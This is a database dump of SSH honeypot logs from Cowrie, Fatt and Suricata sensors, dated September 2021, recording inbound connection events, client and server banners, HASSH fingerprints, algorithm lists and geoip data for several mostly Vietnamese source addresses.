25162	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:38.153311+03	2021-09-20 14:15:09.7465+03	{"_id": "yQblAnwBvYTbRNuErhjQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34002, "timestamp": "2021-09-20T11:09:38.153311", "@timestamp": "2021-09-20T11:09:38.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25163	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:29.974842+03	2021-09-20 14:15:09.7475+03	{"_id": "AQblAnwBvYTbRNuEjBg0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:50678 (192.168.176.2:22) [session: 379b83e9db7f]", "session": "379b83e9db7f", "@version": "1", "protocol": "ssh", "src_port": 50678, "dest_port": 22, "timestamp": "2021-09-20T11:09:29.974842Z", "@timestamp": "2021-09-20T11:09:29.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25164	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:30.354821+03	2021-09-20 14:15:09.748508+03	{"_id": "HAblAnwBvYTbRNuEjxiK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51924, "dest_port": 22, "timestamp": "2021-09-20T11:09:30.354821", "@timestamp": "2021-09-20T11:09:30.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25165	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:31.217808+03	2021-09-20 14:15:09.750501+03	{"_id": "HgblAnwBvYTbRNuEkBgj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:42118 (192.168.176.2:22) [session: f486c23457f8]", "session": "f486c23457f8", "@version": "1", "protocol": "ssh", "src_port": 42118, "dest_port": 22, "timestamp": "2021-09-20T11:09:31.217808Z", "@timestamp": "2021-09-20T11:09:31.217Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25166	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:09:30.763844+03	2021-09-20 14:15:09.7515+03	{"_id": "LwblAnwBvYTbRNuEkBgj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "08b078f23768", "@version": "1", "duration": 2.1522536277770996, "timestamp": "2021-09-20T11:09:30.763844Z", "@timestamp": "2021-09-20T11:09:30.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25167	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:31.224535+03	2021-09-20 14:15:09.7535+03	{"_id": "MAblAnwBvYTbRNuEkBgj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f486c23457f8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:31.224535Z", "@timestamp": "2021-09-20T11:09:31.224Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25168	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:31.953206+03	2021-09-20 14:15:09.755507+03	{"_id": "MQblAnwBvYTbRNuEkhhm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2130281967062289, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33636, "dest_port": 22, "timestamp": "2021-09-20T11:09:31.953206Z", "@timestamp": "2021-09-20T11:09:31.953Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25169	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:31.757801+03	2021-09-20 14:15:09.756502+03	{"_id": "MwblAnwBvYTbRNuEkhhn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1141178916142063, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42256, "dest_port": 22, "timestamp": "2021-09-20T11:09:31.757801Z", "@timestamp": "2021-09-20T11:09:31.757Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25170	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:31.433611+03	2021-09-20 14:15:09.757473+03	{"_id": "NwblAnwBvYTbRNuEkxhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42118, "timestamp": "2021-09-20T11:09:31.433611", "@timestamp": "2021-09-20T11:09:31.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25171	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:31.80143+03	2021-09-20 14:15:09.759518+03	{"_id": "OAblAnwBvYTbRNuEkxhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42256, "dest_port": 22, "timestamp": "2021-09-20T11:09:31.801430", "@timestamp": "2021-09-20T11:09:31.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25172	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:32.030958+03	2021-09-20 14:15:09.7605+03	{"_id": "NgblAnwBvYTbRNuEkxhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33636, "dest_port": 22, "timestamp": "2021-09-20T11:09:32.030958", "@timestamp": "2021-09-20T11:09:32.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
